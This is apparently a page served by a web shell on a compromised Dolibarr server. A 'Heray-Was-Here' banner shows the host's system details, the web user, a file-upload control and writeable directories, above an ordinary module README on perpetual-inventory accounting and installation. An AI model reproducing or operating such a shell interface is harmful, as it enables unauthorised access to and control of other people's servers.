Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/perpetualinventory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/perpetualinventory/README.md.back
# PERPETUAL INVENTORY FOR [DOLIBARR ERP CRM](https://www.dolibarr.org)

## Features

The periodic and perpetual inventory systems are different methods used to track the quantity of goods on hand. The more sophisticated of the two is the perpetual system, but it requires much more online management of Inventory related GL posting. The periodic system relies upon an occasional physical count of the inventory to determine the ending inventory balance and the cost of goods sold, while the perpetual system keeps continual track of inventory balances. 

This Module enables the Perpetual Inventory System, which will enable the posting of Cost of Goods Sold on every Shipment Validation. Also this module will manage the Goods Received Not Invoiced Posting on the Purchase Module. The Inventory Valuation will be done based on the Weighted Average Cost of the Product.

<table>
    <tr>
        <td colspan=3>
        <b>The Perpetual Inventory Module will be generating a Journal on the Purchase Receipt creation as shown below</b>
        </td>
    </tr>
    <tr>
        <td>
        Inventory        
        </td>
        <td>
        Dr
        </td>
        <td>
        Purchase Cost * Received Quantity
        </td>
    </tr>
    <tr>
        <td>
        Goods Received Not Invoiced        
        </td>
        <td>
        Cr
        </td>
        <td>
        Purchase Cost * Received Quantity
        </td>
    </tr>
    <tr>
        <td colspan=3>
        &nbsp;
        </td>
    </tr>
     <tr>
        <td colspan=3>
        <b>The Dolibarr Standard Journal posting on the Purchase Invoice is expected to be as shown below (When the Tax / VAT / GST is 0) </b>
        </td>
    </tr>
    <tr>
        <td>
        Goods Received Not Invoiced        
        </td>
        <td>
        Dr
        </td>
        <td>
        Purchase Cost * Invoiced Quantity
        </td>
    </tr>
    <tr>
        <td>
        Accounts Payable        
        </td>
        <td>
        Cr
        </td>
        <td>
        Purchase Cost * Invoiced Quantity
        </td>
    </tr>
    <tr>
        <td colspan=3>
        &nbsp;
        </td>
    </tr>
    <tr>
        <td colspan=3>
        <b>The Perpetual Inventory Module will be generating a Journal on the Validation of Sales Shipment as shown below</b>
        </td>
    </tr>
    <tr>
        <td>
        Cost of Goods Sold        
        </td>
        <td>
        Dr
        </td>
        <td>
        Weighted Average Cost * Delivered Quantity
        </td>
    </tr>
    <tr>
        <td>
        Inventory        
        </td>
        <td>
        Cr
        </td>
        <td>
        Weighted Average Cost * Delivered Quantity
        </td>
    </tr>
</table>

<!--
![Screenshot perpetualinventory](img/screenshot_perpetualinventory.png?raw=true "PerpetualInventory"){imgmd}
-->

<!--
## Translations

Translations can be define manually by editing files into directories *langs*.


This module contains also a sample configuration for Transifex, under the hidden directory [.tx](.tx), so it is possible to manage translation using this service.

For more informations, see the [translator's documentation](https://wiki.dolibarr.org/index.php/Translator_documentation).

There is a [Transifex project](https://transifex.com/projects/p/dolibarr-module-template) for this module.
-->



## Installation

### From the ZIP file and GUI interface

- If you get the module in a zip file (like when downloading it from the market place [Dolistore](https://www.dolistore.com)), go into
menu ```Home - Setup - Modules - Deploy external module``` and upload the zip file.

Note: If this screen tell you there is no custom directory, check your setup is correct:

- In your Dolibarr installation directory, edit the ```htdocs/conf/conf.php``` file and check that following lines are not commented:

    ```php
    //$dolibarr_main_url_root_alt ...
    //$dolibarr_main_document_root_alt ...
    ```

- Uncomment them if necessary (delete the leading ```//```) and assign a sensible value according to your Dolibarr installation

    For example :

    - UNIX:
        ```php
        $dolibarr_main_url_root_alt = '/custom';
        $dolibarr_main_document_root_alt = '/var/www/Dolibarr/htdocs/custom';
        ```

    - Windows:
        ```php
        $dolibarr_main_url_root_alt = '/custom';
        $dolibarr_main_document_root_alt = 'C:/My Web Sites/Dolibarr/htdocs/custom';
        ```


### Final steps

From your browser:

  - Log into Dolibarr as a super-administrator
  - Go to "Setup" -> "Modules"
  - You should now be able to find and enable the module "Perpetual Inventory" Under the "Financial Modules"

Setup to be done for the Module are as follows:

  - Click on the Settings Icon after enabling the "Perpetual Inventory" Module for Setting up the Parameters for the General Ledger Posting
  - GL (General Ledger) Code for Inventory - Please Keyin the GL code from the Chart of Accounts to record the Posting to be done for Inventory Valuation (Asset) - Used in Purchase Receipt and Shipment Delivery Validation
  - GL (General Ledger) Code for GRNI (Goods Received Not Invoiced) - Please Keyin the GL Code from the Chart of Accounts to post the GRNI (Liability) (Contra Account to be posted for Inventory for the Purchase Receipt)
  - GL (General Ledger) Code for COGS (Cost of Goods Sold) - Please Keyin the GL Code from the Chart of Accounts to post the Cost of Goods (Expenses) (Posting on the Shipment Delivery Validation)

![Screenshot ModuleParameter](img/Perpetual_Inventory_Module_Parameter.png?raw=true "ModuleParameter")    

Setup to be done in the Standard System:
 - Accounting Menu --> Setup --> Default Accounts --> Accounting account by default for the bought products need to be setup as GRNI (Liability)

![Screenshot AccountingCode](img/Perpetual_Inventory_Accounting_Code_Setup.png?raw=true "AccountingCode")

## Licenses

### Main code

GPLv3 or (at your option) any later version. See file COPYING for more information.

### Documentation

All texts and readmes are licensed under GFDL.

Hry